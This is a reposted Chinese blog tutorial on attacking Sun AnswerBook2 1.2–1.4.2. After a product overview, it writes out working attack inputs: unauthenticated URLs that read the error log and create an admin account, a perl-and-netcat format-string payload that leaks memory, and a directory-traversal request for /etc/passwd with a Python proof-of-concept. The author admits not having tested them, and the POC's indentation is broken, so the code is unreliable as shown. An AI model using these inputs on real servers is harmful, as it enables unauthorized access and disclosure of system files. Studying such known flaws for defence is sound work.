漏洞利用——Sun-AnswerBook

编程入门 行业动态 更新时间:2024-10-28 20:22:28

AnswerBook简介

AnswerBook2 产品是 Sun 在线文档系统。它是一个基于客户服务器的系统,客户是任何一个 HTML 3.2-compliant 网络浏览器,而服务器是一个基于 httpd 的网络服务器。您可以在一个中央文档服务器或本地服务器上安装 AnswerBook2 文档集合。

AnswerBook2 管理特性

1、用客户服务器结构,您能将文档存储于一个单一位置(服务器)而从用户桌面(客户)访问。
2、提供命令行接口(ab2admin)和一个基于浏览器的界面(AnswerBook2 管理页),以便执行服务器管理功能。
3、能作为一个 CGI 进程在不同的网络服务器上运行。
4、通过打开或关上 AnswerBook2 调试功能,您能控制是否将错误用一个红色的 “BUG”,可见地显示给用户。
5、包括服务器访问和错误的记录文件。

AnswerBook2 零部件

AnswerBook2产品包括以下单元:
1、文档服务器-向客户浏览器执行查询功能并"服务 “文档。包括一个为查看及打印文档提供普通"查看并感觉"的模板;并提供网络浏览器和命令行管理界面,此界面执行数据库、口令鉴别和其它管理功能。
2、文档集合-可以是新的(SGML)文档或旧的( 显示附言TM)文档。有关在您的服务器上安装文档集合的信息,请参阅"安装文件集合”。
3、用户网络浏览器-用户能用任何 HTML 3.2-compliant 浏览器查阅文档。有关查阅文档的信息,请参阅使用 AnswerBook2 系统查看联机文档 - zh。 为了使用户能访问文档服务器,您需用联合命名服务(FNS)登记服务器或用户需知服务器的 URL。

AnswerBook2漏洞
1、未授权访问

受影响版本:Sun-AnswerBook2 1.2-1.4.2

攻击测试手段
http://服务器ip:8888/ab2/@AdminViewError 访问错误日志
http://服务器ip:8888/ab2/@AdminAddadmin?uid=foo&password=bar&re_password=bar 添加账户(密码)

2、远程格式化字符串漏洞

原理:理解printf()函数 和 %n
printf()输出函数
sanf() 输入函数
%n:输出%n之前字符的个数

正常的C语言代码如下,输出为5

#include <bits/stdc++.h>
using namespace std;
int main()
{
  int n=5;
  printf("%d",n);
  return 0;
}

  
  
  
  

    如果把输入权限交给用户的话

    #include <bits/stdc++.h>
    using namespace std;
    int main()
    {
    char a[100];
    scanf("%s",a);
    printf(a);
    return 0;
    }

    如果用户输入的字符串是"%x%x%x",输出为70ec48070ec60,为内存中的数据(内存泄漏)

    %x:以16进制读取数字,由于没有数字,只能将内存地址读取出来

    受影响版本:Sun-AnswerBook2 1.2-1.4.2

    攻击测试手段
    perl -e 'print"GET /";print"%x"x20;print" HTTP/1.0\r\n\r\n\r\n"' | nc IP地址 8888 造成内存地址泄露

    3、任意文件读取

    在请求包里发送GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n可以看到文件内容。

    参考POC:

    def check(ip, port, timeout):
         try:
              socket.setdefaulttimeout(timeout)
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              s.connect((ip, int(port)))
             flag = "GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n"
              s.send(flag)
             data = s.recv(1024)
              s.close()
              if 'root:' in data and 'nobody:' in data:
                  return u"漏洞"
          except:
              pass
    
      
      

    以上漏洞我还没有复现,只是理解个大概,后面有机会再复现。参考链接:https://blog.csdn/qq_33608000/article/details/104124248

    更多推荐

    漏洞利用——Sun-AnswerBook

    本文发布于:2023-06-14 01:31:00,感谢您对本站的认可!
    本文链接:https://www.elefans.com/category/jswz/34/1423206.html
    版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
    本文标签:漏洞   Sun   AnswerBook

    发布评论

    评论列表 (有 0 条评论)
    草根站长

    >www.elefans.com

    编程频道|电子爱好者 - 技术资讯及电子产品介绍!